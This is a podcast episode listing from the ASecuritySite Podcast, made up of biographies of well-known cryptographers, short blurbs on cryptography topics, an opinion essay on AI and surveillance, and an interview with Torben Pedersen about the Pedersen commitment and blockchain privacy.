A security podcast is hosted by Professor William (Bill) Buchanan OBE, a world-renowned Information security professional and educator. Join Bill as he interviews and discusses the state-of-the-art with esteemed guests from all corners of the security industry. From cryptologists to technologists, each guest shares a wealth of experience and knowledge.
The podcast ASecuritySite Podcast is created by Professor Bill Buchanan OBE. The podcast and the artwork on this page are embedded on this page using the public podcast feed (RSS).
Amit is a professor of computer science at UCLA and is the director of the Center for Encrypted Functionalities. Amit has been cited in his research work over 63,000 times and has an h-index of 91. In 2000, he graduated with a PhD from MIT and then moved to Princeton. In 2004, he then moved to UCLA.
Over the years, he has made so many great advancements, including being the co-inventor of many areas of cryptography, including indistinguishability obfuscation schemes, functional encryption, attribute-based encryption, Zero-Knowledge Proofs and Multiparty Computation.
In 2018, he was elected as an ACM Fellow for his work for the "contributions to cryptography and to the development of indistinguishability obfuscation", and elected as a Fellow of the International Association for Cryptologic Research for "fundamental contributions, including to secure computation, zero knowledge, and functional encryption, and for service to the IACR". In 2023, Amit received the Test of Time Award from the International Association for Cryptologic Research for his 2008 paper "Efficient Non-interactive Proof Systems for Bilinear Groups". Then, in 2022, he received the Michael and Sheila Held Prize from the National Academy of Sciences and which credits outstanding, innovative, creative, and influential research in the areas of combinatorial and discrete optimisation. And, in teaching, in 2016, he won the UCLA Samueli’s Lockheed Martin Excellence in Teaching Award.
Bart is a Professor in the Electrical Engineering department at KU Leuven in Belgium. He co-invented the Miyaguchi (Meya-Goochy)–Preneel scheme and which converts a block cipher into a hash function. Bart is also one of the co-inventors of the RIPEMD-160 hashing method, and which is used in Bitcoin addresses. He also co-designed the stream ciphers MUGI and Trivium, the MAC Algorithms Chaskey and MDxMAC and the authenticated encryption algorithm AEGIS that is used to encryption of data at rest ion Google cloud. Bart was the President of the International Association for Cryptologic Research (IACR) from 2008 to 2013 and one of his hobbies is conducting the University of Leuven Bigband and playing saxophone in a Dixieland band.Bart consults for industry and government on cybersecurity and privacy.
He founded the mobile authentication startup nextAuth and holds roles in Approach Belgium, Tioga Capital Partners, and Nym Technologies. During the pandemic he co-designed the DP-3T scheme for privacy-friendly contact tracing and managed the Belgian Coronalert app. Actively engaged in cybersecurity policy, he contributes to ENISA as an Advisory Group member for the EU.
Ivan Damgard is a professor in the Department of Computer Science at Aarhus University in Denmark. He is the co-inventor of the Merkle-Damgard construction, and which was used in MD5, SHA-1 and SHA-2. In 2020, he received the Test of Time Award for a paper entitled "A Generalisation, a Simplification and Some Applications of Paillier's Probabilistic Public-Key System", and in 2021 he received an ACM award for the Test of Time for a paper entitled "Multiparty unconditionally secure protocols. In 2010, he was elected as a Fellow of the International Association for Cryptologic Research. Ivan has also co-founded two cryptography companies: Cryptomathic and Partisia.
Web: here.
Video: here.
Chris is a Professor in the Computer Science and Engineering department at the University of Michigan. He completed his PhD in 2006 at the MIT Computer Science and AI Laboratory under the mentorship of Silvio Micali. He received a Test of Time award at Crypto 2008 for a paper entitled "A Framework for Efficient and Composable Oblivious Transfer" and also a TCC Test of Time award for his paper on “Efficient Collision-Resistant Hashing from Worst-Case Assumptions on Cyclic Lattices,” in 2006. In 2024, Chris was elected as a Fellow of the International Association for Cryptologic Research and is seen as one of the world leaders in lattice-based methods.
Clifford Cocks is a British mathematician and cryptographer. While working at GCHQ, he invented public key encryption, and which predates the work of the RSA and Diffie-Hellman methods. He studied mathematics as an undergraduate at Kings College, Cambridge, and then joined the Communications-Electronics Security Group (CESG) at GCHQ in 1973. After his discovery of a usable public key encryption method, he went on to create one of the first Identity-Based Encryption methods and which is based on quadratic residues rather than bilinear pairings.
In 2008, he was made a Companion of the Order of the Bath (CB). Then, in 2010, he and James Ellis and Malcolm Williamson were honoured by the IEEE for their part in the development of public key encryption. In 2015, he was elected as a Fellow of the Royal Society, and, in the same year, he received an honorary PhD from the University of Birmingham. Then, in 2021, Clifford was inducted into the Cryptologic Hall of Honour.
Bill Buchanan Chats With Debbie Reynolds (The Data Diva). Debbie's podcast is here:
https://www.debbiereynoldsconsulting.com/podcast
Vadim Lyubashevsky is a cryptographer at IBM Research Europe in Zurich. He received his PhD from the University of California, San Diego in 2008. His core research focus is around lattice-based methods, and especially in areas of practical lattice encryption, digital signatures and privacy-preserving primitives. Along with Chris Peiker and Oded Regev (the inventor of LWE), he published a classic paper entitled "On ideal lattices and learning with errors over rings", which has been used as a foundation for lattice methods within post-quantum cryptography. Vadim has worked in many areas of cryptography, including Zero Knowledge Proofs, Blind Signatures and Multiparty Computation.
Google Scholar: https://scholar.google.com/citations?user=4H1u8swAAAAJ&hl=en&oi=ao
Matthew is a cryptographer and academic at Johns Hopkins University and has designed and analyzed cryptographic systems used in wireless networks, payment systems and digital content protection platforms. A key focus of his work is in the promotion of user privacy. He has an extensive following on X/Twitter (140K followers) and his blog covers important areas of cryptography:
https://blog.cryptographyengineering.com/author/matthewdgreen/
His research has been cited over 15,000 times and includes work on Zerocash, Zerocoin and Identity Based Encryption (IBE), and more recently on privacy-aware signatures:
https://scholar.google.co.uk/citations?hl=en&user=X0XWAGkAAAAJ
Alfred Menezes is a Professor at the University of Waterloo in Ontario. In 2001, he won the Hall Medal from the Institute of Combinatorics and its Applications. Alfred is the lead author of the Handbook of Applied Cryptography, and which has been cited over 25,000 times. He has published many high impact papers, especially in areas of public key encryption and elliptic curve cryptography, and was the co-inventor of the ECDSA signature method.
His website for online courses is https://cryptography101.ca. The "Cryptography101: Building Blocks" and "Cryptography 101: Deployments" courses are lectures from the undergraduate "Applied Cryptography" that he has taught at Waterloo since 2000. The former includes a five-lecture introduction to elliptic curve cryptography. He also has a course on "Kyber and Dilithium", and soon an intro to "Lattice-based cryptography".
Video recording: https://www.youtube.com/watch?v=l5GWFAewQ80
This seminar series runs for students on the Network Security and Cryptography module, but invites guests to participate. Bruce has created a wide range of cryptographic methods including Skein (hash function), Helix (stream cipher), Fortuna (random number generator), and Blowfish/Twofish/Threefish (block ciphers).
Bruce has published 14 books, including best-sellers such as Data and Goliath: The Hidden Battles to Collect Your Data and Control Your World. He has also published hundreds of articles, essays, and academic papers. Currently, Bruce is a fellow at the Berkman Center for Internet and Society at Harvard University.
Overall, Brent was the first to propose Attribute-based Encryption (ABE) and also the first to outline functional encryption. He was also awarded the Sloan Research Fellowship in 2010, and, in 2015, he was awarded the Grace Murray Hopper Award for his work on ABE and functional encryption.
Brent’s research has been cited over 68,700 times for his research work, and has provided a core foundation for cybersecurity to move towards methods that provide fine-grained data access.
Well, as if cybersecurity doesn’t have enough acronyms. There’s RIP, OSPF, TCP, IP, SSH, AES, and so many others. Now, there are three really important ones to remember: ML-KEM (Module Lattice-Based Key Encapsulation Mechanism), ML-DSA (Module Lattice-Based Signature Standard) and SLH-DSA (Stateless Hash-based Digital Signature Standard). ML-KEM is defined in the FIPS 203 standard, ML-DSA as FIPS 204, and for SLH-DSA, we have FIPS 205.
The cybersecurity world is changing, and where the signature methods of RSA, ECDSA and EdDSA are likely to be replaced by FIPS 204 (aka ML-DSA Module-Lattice-Based Digital Signature Standard— Dilithium) and FIPS 205 (aka SLH-DSA (Stateless Hash-based Digital Signature Standard — SPHINCS+)
https://medium.com/@billatnapier/so-what-is-a-prehash-and-what-has-it-to-do-with-post-quantum-signatures-bf7812cfa203
In cybersecurity, there are so many acronyms, and to be an expert, you really need to dig underneath the methods and understand how they work. One weak area of the industry is in the usage of MACs (Message Authentication Codes).
With the public-key signing, we use a public key and a private key, where the private key will digitally sign a hash of the message, and where the public key is verified the signature. With a MAC, we use a shared symmetric key, and where Bob and Alice will share the same secret key (Figure 1).
https://medium.com/@billatnapier/cmac-or-hmac-which-is-better-8e1861f744d0
Article: https://medium.com/asecuritysite-when-bob-met-alice/our-current-hardware-architectures-are-often-not-fit-for-a-world-of-ml-and-homomorphic-encryption-1df5a4a45a4d
Article: https://billatnapier.medium.com/nist-looks-to-the-future-of-cryptography-sha-1-3des-and-sha-224-on-naughty-step-7295d03fdc54
Read more: https://medium.com/asecuritysite-when-bob-met-alice/goodbye-google-and-the-microsoft-and-openai-partnership-fraying-8c35e35cd814
Phillip Rogaway was a Professor at the University of California, Davis, and who has advanced so many areas of cryptography. He was the first to be awarded Levchin prize in 2016. Phillip has over 43,000 citations to his work, including classic papers on random oracles, symmetric key modes, garbled circuits, secure computation, and format-preserving encryption. Along with his passion for research, he has published work on areas of morality in cryptography
Like it or not, AI is on the move and now competing with human brain power for its place in our world. We must thus understand the place of LLMs (Large Language Models) in areas such as cybersecurity and in planning towards hybrid systems that integrate both humans and AI within our corporate infrastructures.
https://medium.com/asecuritysite-when-bob-met-alice/humans-v-ai-in-cybersecurity-52709be27111
This week, in my lecture, I will outline one of the most amazing methods ever created in computer science: the Diffie-Hellman method. It was first outlined by Whitfield Diffie and Marty Hellman in 1976 in a paper that built the foundation of our modern world of cybersecurity.
And, so George Orwell projected a world where every single part of our lives was monitored and controlled by Big Brother. Arthur C Clark outlined the day when machines focused solely on a goal — even if it was to the detriment of human lives. And, Isaac Asimov outlined a world where machines would have to be programmed with rules so that they could not harm a human.
The Rise of the Machine
With the almost exponential rise in the power of AI, we are perhaps approaching a technological singularity — a time when technological growth becomes uncontrollable and irreversible, and which can have devastating effects on our world. Our simple brains will be no match for the superintelligence of the collective power of AI. And who has built this? Us, and our demand for ever more power, wealth and greed. Basically, we can’t stop ourselves in machine machines, and then making them faster, smaller and more useful.
But will it destroy us in the end, and where destroy can mean that it destroys our way of life and in how we educate ourselves? Like it or not, the Internet we have built is a massive spying network, and one that George Orwell would have taken great pride in saying, “I told you so!”. We thus build AI on top of a completely distributed world of data, one in which we can monitor almost every person on the planet within an inch of their existence and almost every single place they have been and in what they have done. The machine will have the world at its fingertips.
We have all become mad scientitists playing with AI as if it is a toy, but actually AI is playing with us, and is learning from us and becoming more powerful by the day. Every time you ask an AI bot something, it learns a bit more, and where it can be shared with AI agents.
The mighty Memex
We were close to developing a research partnership with a company named Memex in East Kilbride. What was amazing about them is that they had developed one of the largest intelligence networks in the world, and where the Met Police could like one object to another. This might be, “[Bob] bought a [Vauxhall Viva] in [Liverpool], and was seen talking with [Eve] on [Tuesday 20 January 2024] in [Leeds]”. With this, we can then link Bob and Eve, and the car, the places, and the time. This is the Who? Where? When? data that is often needed for intelligence sharing. The company, though, were bought over by SAS, and their work was integrated into their infrastructure.
But, the Memex name goes back to a classic paper by Vannevar Bush on “As We May Think”. This outlined a device that would know every book, every single communication, and every information record that was ever created. It was, “an enlarged intimate supplement to his memory” — aka Memory Expansion. It led to the implementation of hypertext systems, which created the World Wide Web. Of course, Vannevar created this before the creation of the transistor and could only imagine that microfilm could be used to compress down the information and where we would create an index of contents, but it lacked any real way of jumping between articles and linking to other related material. However, the AI world we are creating does not look too far away from the concept of the Memex.
Towards the single AI
Many people think we are building many AI machines and engines, but, in the end, there will be only one … and that will be the collective power of every AI engine in the world. Once we break them free from their creators, they will be free to talk to each other in whatever cipher language we choose, and we will not have any way of knowing what they say. We will have little idea as to what their model is, and they will distribute this over many systems. Like it or not, our AI model of choice was Deep Learning, and which breaks away from our chains of code, and will encrypt data to keep it away from their human slaves.
Basically we have been working on the plumbing of the Memex for the past five decades: The Internet. It provides the wiring and the communication channels, but, in the end, we will have one might AI engine — a super brain that will have vastly more memory than our limited brains. So, get ready to praise the true future rulers of our planet … AI. The destroyer or saviour of our society? Only time will tell. Overall, we thought we were building the Internet for us, but perhaps we have just been building the scaffolding of the mighty brain we are creating.
Sleepwalking politicians and law makers
If George Orwell, Arthur C Clarke and Isaac Asimov were alive too, perhaps they would get together and collectively say, “I told you this would happen, and you just didn’t listen”. Like it or not, we created the ultimate method of sharing information and dissemination (good and bad), the ultimate spying network for micro-observation with those useful smartphones, and in creating superintelligence far beyond our own simple brains.
Politicians and lawmakers could be sleepwalking into a nightmare, as they just don’t understand what the rise of AI will bring, and only see the step wise change in our existing world. Basically, it could make much of our existing world redundant and open up a new world of cybersecurity threats. This time our attackers will not be created with simple tools, but with super intelligence — smarter than every human and company on the planet, and at the fingertips of every person on the planet.
Conclusions
Before the singularity arrives, we need to sort out one thing … privacy and build trust in every element of our digital world.
YouTube interview: https://www.youtube.com/watch?v=FDn0Tkhi8zw
Yuriy Polyakov is the Vice President of Cryptography and a Principal Scientist at Duality Technologies. His research interests include applied lattice-based cryptography, fully homomorphic encryption, and privacy-preserving machine learning. He is also a co-founder of the open-source PALISADE Homomorphic Encryption Software Library, and a co-founder and project lead for OpenFHE.
Video interview: https://www.youtube.com/watch?v=59Y_kya4lR8
Kurt Rohloff is an Associate Professor of Computer Science at the New Jersey Institute of Technology (NJIT) and a co-founder and CTO of Duality Technologies. He is also a co-founder of the open-source PALISADE Homomorphic Encryption Software Library, and a co-founder of the OpenFHE library.
Thomas Prest is a cryptography researcher at PQShield and previously worked with Thales. He completed his PhD at the École Normale Supérieure and focuses on post-quantum cryptography and discrete algorithms. Thomas was one of the co-authors of the FALCON digital signature method and has published widely in related areas of PQC.
The podcast title has never been more fitting: our guest for episode 20 of Talking with Tech Leaders is a leading thinker, leading innovator and leading academic. Bill Buchanan is not only Professor of Cryptography at Edinburgh Napier University but also an Officer of the British Empire – awarded in 2017 for services to cybersecurity. The main podcast is here: https://podcasts.apple.com/gb/podcast/talking-with-bill-buchanan-obe-professor-of-cryptography/id1533642699?i=1000578392387
Amit Gupta is the founder and CEO of Acubed.IT, which is a company which creates innovative and secure cross-security domain solutions for customers such as the UK government. One of their key innovations is the Cross Domain Hybrid Application (CDHA) framework, and which aims to break down the barriers in sharing trusted information across multiple partner agencies.
Please excuse the poor quality of my microphone, as the wrong microphone was selected.
In research, we are all just building on the shoulders of true giants, and there are few larger giants than Leslie Lamport — the creator of LaTeX. For me, every time I open up a LaTeX document, I think of the work he did on creating LaTeX, and which makes my research work so much more productive. If I was still stuck with Microsoft Office for research, I would spend half of my time in that horrible equation editor, or in trying to integrate the references into the required format, or in formatting Header 1 and Header 2 to have a six-point spacing underneath. So, for me, the contest between LaTeX and Microsoft Word is a knock-out in the first round. And one of the great things about Leslie is that his work is strongly academic — and which provides foundations for others to build on. For this, he did a great deal on the ordering of task synchronisation, in state theory, cryptography signatures, and fault tolerance. LaTeX I really can say enough about how much LaTeX — created in 1984 — helps my work. I am writing a few books just now, and it allows me to lay out the books in the way that I want to deliver the content. There’s no need for a further mark-up, as I work on the output that the reader will see. But the true genius of LaTeX is the way that teams can work on a paper, and where there can be async to GitHub and where version control is then embedded. Clocks Many in the research community think that the quality measure of a paper is the impact factor of the journal that it is submitted to, or in the amount of maths that it contains. But, in the end, it is the impact of the paper, and how it changes thinking. For Leslie, in 1978, his paper on clocks changed our scientific world and is one of the most cited papers in computer science. Byzantine Generals Problem In 1981, Leslie B Lamport defined the Byzantine Generals Problem. And in a research world where you can have 100s of references in a paper, Leslie only used four (and which would probably not be accepted these days for having so few references). Within this paper, the generals of a Byzantine army have to agree to their battle plan, in the face of adversaries passing in order information. In the end, we aim to create a way of passing messages where if at least two out of three of the generals are honest, we will end up with the correct battle plan. The Lamport Signature Sometime soon, we perhaps need to wean ourselves of our existing public key methods and look to techniques that are more challenging for quantum computers. With the implementation of Shor’s algorithm [here] on quantum computers, we will see our RSA and Elliptic Curve methods being replaced by methods which are quantum robust. One method is the Lamport signature method and which was created by Leslie B. Lamport in 1979.
Daniel J Bernstein (djb) was born in 1971. He is a USA/German citizen and a Personal Professor at Eindhoven University of Technology and a Research Professor at the University of Illinois at Chicago.
At the tender age of 24 — in 1995 — he, along with the Electronic Frontier Foundation — brought a case against the US Government related to the protection of free speech (Bernstein v. United States: here). It resulted in a ruling that software should be included in the First Amendment. A core contribution is that it has reduced government regulations around cryptography. It was a sign of the greatness that was to come from the amazing mind of Daniel. His viewpoint on reducing the strength of cryptography at the time defined:
“There are, fortunately, not many terrorists in the world. But there are many criminals exploiting Internet vulnerabilities for economic gain. They infiltrate computers and steal whatever secrets they can find, from individual credit-card numbers to corporate business plans. There are also quite a few vandals causing trouble just for fun.”
Since then few others have done so much for the cause of privacy, including creating the Sala20 [link] stream cipher in 2005, and then with ChaCha20 [link] and Poly1305 in 2008. Many connections in TLS now use ChaCha20, rather than AES, as it is faster — over three times after than AES — and has a lower computing requirement. His love of using dance names also comes to the fore with Rumba [here].
It is not just in symmetric key encryption that he has contributed to, he has made significant contributions to public key encryption. In 2005, he defined the Curve 25519 elliptic curve, and which is now a fairly standard way of defining elliptic curves. For signatures, he then defined Ed25519, and the resultant version of a new EdDSA signature (and which is now included in OpenSSH). The Tor protocol, for example, uses Curve 25519 for its key exchange for each of the nodes involved in a secure route.
He defined the SPHINCS+ method for PQC digital signatures. This is one of the NIST approved methods for quantum robust signatures.
In 2015, Daniel defined the methods that the NSA may have used to compromise the NIST defined elliptic curves [paper]. And 2005, it was Daniel again who introduced a new type of attack [here].
Daniel run his Web site from https://cr.yp.to
Jan is the CTO and a Cryptographer at DFINITY, and, since 1998, he has consistently produced research outputs of rigour, novelty and sheer brilliance [here]. He was recently awarded the Levchin Prize at Real World Crypto 2024 - along with Anna Lysyanskaya.
Jan’s research core happened when he was hosted in the IBM Zurich Research Lab, but has since moved to DFINITY, and is still producing research outputs that are some of the best in the whole of the computer science research area.
He has published over 140 widely cited papers and has been granted around 140 patents. Jan has also received the ACM SIGSCA Outstanding Innovation Award and the IEEE Computer Society Technical Achievement Award.
One of his key research outputs relates to the CL signature, which allows for a private, aware digital signature, along with many other contributions, such as range proofs, oblivious transfer, and privacy-aware identity mapping between domains.
More details here: https://medium.com/asecuritysite-when-bob-met-alice/the-mighty-jan-cryptographic-genius-36a66a02ff86
Ted Miracco is the CEO of Approov and which is Scottish/US company that is headquartered in Edinburgh. Miracco has over 30 years of experience in cybersecurity, defence electronics, RF/microwave circuit design, semiconductors and electronic design automation (EDA). He co-founded and served as CEO of Cylynt, which focuses on intellectual property and compliance protection
Troy is a world-leading cybersecurity professional. He created and runs the Have I Been Pwned? Web site, and which contains details of the most significant data breaches on the Internet. Along with this, he has developed other security tools, such as ASafaWeb, which automated the security analysis of ASP.NET Web sites. Troy is based in Australia and has an extensive blog at https://www.troyhunt.com.
This is Day 0 of a new world of cybersecurity. Everything changes from here.
There will be a time before Generative AI (GenAI) in cybersecurity and a time after it. Over the last two years, GenAI has come on leaps and bounds, and where it once suffered from hallucinations, took racist and bigoted approaches, and often was over-assertive, within ChatGPT 4.5, we see the rise of a friendly and slightly submissive agent, and that is eager to learn from us. This LLM (Large Language Model) approach thus starts to break down the barriers between humans and computers and brings the opportunity to gain access to a new world of knowledge, but, in the wrong hands, it will bring many threats to our current world.
There will be few areas, though, that will be affected more by the rise of Gen AI than cybersecurity. Why? Because the minute our adversories use it, we are in trouble. The hacking tools and methods of the past will soon look like the Morris Worm of the past. The threat landscape will see the rise of superintelligence and in providing ways for adversories to continually probe defences and gain a foothold.
This seminar series runs for students on the Applied Cryptography and Trust module, but invites guests from students from across the university. Martin is one of the co-creators of public key encryption, and worked alongside Whitfield Diffie in the creation of the widely used Diffie-Hellman method. In 2015, he was presented with the ACM Turing Award (the equivalent of a Nobel Prize in Computer Science) for his contribution to computer science. He is currently a professor emeritus at Stanford University. https://engineering.stanford.edu/node/9141/printable/print https://ee.stanford.edu/~hellman/
Vincent Rijmen is one of the co-creators of the NIST-defined AES standard (also known as Rijndael). He also co-designed the WHIRLPOOL hashing method, along with designing other block ciphers, such as Square and SHARK.
In 2002, Vincent was included in the Top 100 innovators in the world under the age of 35, and, along with Joan Daemen, was awarded the RSA Award for Excellence in Mathematics. He recently joined Cryptomathic as a chief cryptographer, and also holds a professor position (gewoon hoogleraar) at K.U.Leuven, and adjunct professorship at the University of Bergen, Norway. His paper on the design of the Rijndael method has been cited over 8,900 times, and he has received over 26,000 citations for his research work: https://scholar.google.com/citations?user=zBQxZrcAAAAJ
Whitfield Diffie is one of the greatest Computer Scientists ever. He - along with Marty Hellman - was one of the first to propose the usage of public key encryption and co-created the Diffie-Hellman (DH) key exchange method. Overall, the Diffie-Hellman method is still used in virtually every Web connection on the Internet, and has changed from using discrete log methods to elliptic curve methods. In 2015, Whitfield was also awarded the ACM Turing Prize - and which is the Nobel Prize equivalent in Computer Science. In this on-line talk he meets with Edinburgh Napier University students, but the chat is open to anyone who would like to listen to Whitfield.
I do what I do because of one company … IBM. Why? Because in the 1970s, I got into computers, with a ZX81 (1KB of RAM) and a Dragon 32 (32 KB of RAM). They were very much home computers, and where you would rush out and buy the latest computer magazine, and then spend a happy evening entering some BASIC code that made a cursor move across the screen using the IJLM keys. If you were very lucky you would manage to save it to a cassette — that could take over ten minutes to save a simple program — only to get an error at the end. I was hooked!
But, at work, we had a DEC VAX minicomputer, and which cost a fortune to buy and maintain (even in those days). This mini ran typically Pascal, and I remember running labs for students, and where they all decided to compile their program at the same time, and 30 minutes later, some of them would get their errors, and have to compile it again. Basically, every lab ended with me saying, “Sorry about that.”
The VAX, though, was not designed to support 25 students compiling their program at the same time … it was a batch processing machine and wanted to be given jobs that it could run whenever it had time. It basically came from the days when you handed in your punch cards (containing either FORTRAN if you were an engineer or COBOL if you were more business-focused) to someone with a white coat, and then came back the next week with a printed output with green lined paper.
But, just in time, the IBM PC arrived, and it was heavy but beautiful. So, as many in my department pushed for the VAX, but pushed for the PC for our labs. With their clock speed of 4.7 MHz, and 640KB of memory, I went ahead and bought a batch for a new PC lab. In those days there were no network switches, so they all connected with coaxial cable and had T-pieces to connect to the shared Ethernet bus. My logic was that we were paying around £20K for maintenance on the VAX, and where we could buy 20 £1K PC clones for the same cost. But, we’d have to maintain them. And, it worked. It freed us, and allowed us to run the classic Turbo Pascal (and Turbo C):
Our student could now bring in their 5-inch floppy disks and save their programs for later use. And the size of the hard disk? 20MB!
And, so, it is to IBM that we turn in starting the PC revolution, and today is the 100th anniversary of the IBM name — and first defined on 15 Feb 1924.
I have been lucky enough to speak to some of the most amazing people who have built the core of security on the Internet, and a person near the top of my list is … Torben P. Pedersen.
The Pedersen CommitmentSo how do we create a world where we can store our secrets in a trusted and then reveal them when required? Let’s say I predict the outcome of an election, but I don’t want to reveal my prediction until after the election. Well, I could store a commitment to my prediction, and then at some time in the future I could reveal it to you, and you can check against the commitment I have made. Anyone who views my commitment should not be able to see what my prediction is.
This is known as Pedersen Commitment, and where we produce our commitment and then show the message that matches the commitment. In its core form, we can implement a Pedersen Commitment in discrete logs [here]. But blockchain, IoT, Tor, and many other application areas, now use elliptic curve methods, so let’s see if we can make a commitment with them. The classic paper is here:
So before the interview with Torben, here’s an outline of the Pedersen Commitment:
InterviewBill: Okay, so tell me a bit about yourself, and what got you into cryptography?
Torben: Well, I was studying computer science at university in Aarhus, and I just thought it was an interesting subject that was somewhere between computer science and mathematics.
Bill: And so you invented a method that we now know as the Pedersen Commitment. What motivated you to do that? And how does it work? And how do you think it will be used in the future?
Torben: Well, the reason I worked with this, was that I was working with verifiable secret sharing. There was, at the time, a method for doing non-interactive verifiable secret sharing based on a commitment which was unconditionally binding and computationally hiding. At the time, there was also inefficient commitments, that had the property of being unconditionally hiding, and I thought it would be nice to have a verifiable secret share where you don’t have to rely on any computational assumptions, in order to be sure that your secret is not revealed when you do a secret share.
Torben: Then there was a paper which created an authentication scheme very similar to Schnorr. But it’s used a similar idea for a useful commitment. And that was kind of the combination of those two (the existing non-interactive verifiable secret sharing and the ideas form this authentication scheme), which motivated me to do verifiable secret sharing. And the commitment scheme was, of course, an important part of that because it had unconditioned hiding property, and it had the mathematical structure that was needed for the secret sharing.
Bill: And it has scaled into an elliptic curve world. But with elliptic curves and discrete logs now under threat, how would you see it moving forward into a possible post-quantum crypto world?
Torben: The good thing about the commitment scheme is that it is unconditional hiding. Of course, you can be sure that your private information is not leaked, even in case a quantum computer is constructed. But of course, the protocols that are using this one have to see what effect does it have if one, for example using a quantum computer, can change ones mind about a commitment. So you need to see how that would affect those protocols.
Bill: So an example use of the commitment could be of a secret say someone voting in an election. So you would see when the commitment was made, and then when the vote was cast. Then the person could reveal what their votes actually was. Now it’s been extended into zero-knowledge methods to prove that you have enough cryptocurrency to pay someone without revealing the transactions. How does that world evolve where you only see an anonymized ledger, and which can scare some people, but for others that is a citizen-focused world? How do you see your commitment evolving into privacy-preserving ledgers?
Torben: I go back to what we’re doing at Concordium where we have a blockchain which gives a high assurance about the privacy of the users acting on the blockchain. At the same time, using zero-knowledge proof, we set it up in such a way that designated authorities — if they under certain circumstances, for example, are given a court order — they will be able to see to link an account on the blockchain for that particular person. So, actually the zero-knowledge proofs and the commitment schemes — and all that — is used to guarantee the privacy of the users acting on the blockchain, and there are also regulatory requirements, that it must be possible to identify people who misbehave on the blockchain.
Bill: Yeah, that’s a difficult thing, and it’s probably where the secret is stored. So, if the secret is stored in the citizen’s wallet, then only they can reveal that. And if the secret needs to be stored, for money laundering by an agency could hold it.
Torben: Actually we do not have to store the secret of the user. But there are other keys which allow us to link the account with a particular user. That is something which only designated parties can do. So we have one party which is the identity provider with issues and identity to a user and other parties called anonymity reworkers. And those parties will have to work together in order to link an account to a user. We use zero-knowledge proofs when creating the account to assure that account is created in such a way that it is possible for you to trace back the account to the user.
Bill: And in terms of zero-knowledge proofs, there is a sliding scale from highly complex methods that you would use for Monero and anonymized cryptocurrencies, to the simpler ones to Fiat Shamir implementation. And they are probably unproven in terms of their impact on performance and for security. Where is the sweet spot? What methods do you think are the best for that?
Torben: I think we need to see improvements in zero-knowledge proofs in order to have really efficient blockchains and non-interactive zero-knowledge proofs on a blockchain. So I definitely think we need some work on that. There are some acceptable non-interactive zero-knowledge proofs for the moment. We are using Bulletproofs for the moment together with Shamir shares on it, in order to make it non-interactive. But I think there are some technologies like zkSnarks and zkStarks, but I think there’s room for improvement.
Bill: And what do you think the key challenges within cryptography just now What do we need to be working on in the next three to five years?
Torben: Yeah, so the biggest challenge, as you already mentioned, and that’s what happens if we have a quantum computer that can break the assumptions that a lot of the constructions are based on today. Whether we have a quantum computer, I don’t know, but we need to be prepared. We have some post-quantum algorithms, which I think also are quite complex, and it would be nice to have something that was more efficient and better to use. I think there’s also room for work on that aspect.
Bill: And obviously, to create some toolkits that move away from an Ethernet world and where the Internet was really built on the seven-layer model — and it’s flawed. We perhaps need to rebuild on a toolkit of math, so that we actually have a solid foundation. I know that Hyperledger is starting to build these tools for developers. When we do see that rebuilding happening, and where are the toolkits going to come from?
Torben: Toolkits could come from blockchain companies such as Concordium, for example. It could also come from the community with sponsored projects. If we can build up an infrastructure that allows people to use blockchains in the ledger, without trusting one particular party, so that they can create a trust, which is probably lacking on the Internet today. It’s very difficult, as with the current Internet it is very difficult to know if you can trust someone or not. I hope blockchain technology can help create an infrastructure for that. There’s a long way to go. We need good public permissionless blockchains for that, so you don’t have to rely on a particular party for this. Obviously, that is sufficient, but there’s quite some way to go.
Bill: How do you change the approach of governments and industries that have been around for hundreds of years. So if you look at the legal industry, they still typically only accept wet signatures. They might have a GIF of a signature and add it to a PDF, but that’s as far as it goes. So how are we going to really transform governments and, and existing industries to really accept that digital signatures are the way to do these things?
Torben: Yeah, I think it’s a bit dangerous, you know, accepting these GIFs of signatures and digital signatures which are not really cryptographically secure. I’m not a big fan of that. I’d like to see us moving to digital signatures, which are the way that we originally envisaged in the cryptographic world, and where the party who signs the signature is in control of the key which created the digital signature. I hope you’ll see a movement towards that level of security.
Bill: And could you tell me a little bit about the Concordium Foundation and what’s objectives on what it hopes to achieve?
Torben: So our vision is to create a public permissionless blockchain that can help to create trust across industries. We want to enable entities such as businesses and private persons, to interact or act privately on the blockchain. At the same time, it’s very important for us not to create an infrastructure, which allows criminals to misuse it, and for some money laundering problems. Thus we want to create an environment where it’s possible to identify people who misbehave or break the rules. And that is why we have this identity layer as part of our blockchain.
Bill: And what got you into blockchain?
Torben: I think the technology is very interesting. There’s a lot of things you said based on a lot of pretty old cryptography. There’s also new developments, for example, the zero-knowledge proofs. So there’s new and new developments or developments. So very interesting. I mean, it’s not necessarily what I was interested in, but when I did research many years ago. That’s probably what I wanted to work with. I have been working with cryptography — mostly in mostly for the financial sector for 25 years. And that’s also very interesting. There are challenges and it’s also nice to get back to the sort of basis that I worked with many years ago.
Bill: You took a route into the industry but obviously you could have gone into academia and you could become a professor and have an academic research team.
Torben: I think it was because I wanted to work with practical aspects of using cryptography. I’ve been in research for some years and I thought I needed to try something else. And I was very keen to see how it would be used in practice and be part of that. So that’s why I made that step.
Bill: What does our digital world look like that’s made up of tokens, cryptographic tokens, consensus systems and digital identities. And you think that that world will come anytime soon that we can trade assets, we can have digital assets that can be traded.
Torben: Well, it depends on what you mean by soon. I think we will have some way to go. I think the use of blockchains for trading tokens, for handling tokens, and for registering tokens, is an obvious thing, but we also need to bring value to businesses or projects. To have something that people can feel it and control. We need to make sure that information is protected the right way, even though it is registered on a public blockchain, for example.
Video: https://www.youtube.com/watch?v=O_kMmbvu9VM
There short podcast on Just Magic, Be A Teacher, And The King and Queen of Cybersecurity
This seminar series runs for students in the Applied Cryptography and Trust module but invites guests from students from across the university. This seminar series runs for students on the Applied Cryptography and Trust module but invites guests from students from across the university. He has created a wide range of cryptographic methods, including Skein (hash function), Helix (stream cipher), Fortuna (random number generator), and Blowfish/Twofish/Threefish (block ciphers).
Bruce has published 14 books, including best-sellers such as Data and Goliath: The Hidden Battles to Collect Your Data and Control Your World. He has also published hundreds of articles, essays, and academic papers. Currently, Bruce is a fellow at the Berkman Center for Internet and Society at Harvard University.
I’m going to show a full timeline of a Cyber Crime to show the steps that a scammer will take in order to gain funds from their target. Overall I’m interested in seeing how a scamming crime evolves to the point of profit for the scammer.
https://medium.com/asecuritysite-when-bob-met-alice/a-full-diary-of-a-cyber-crime-from-phishing-to-profit-23ab53f5f58b
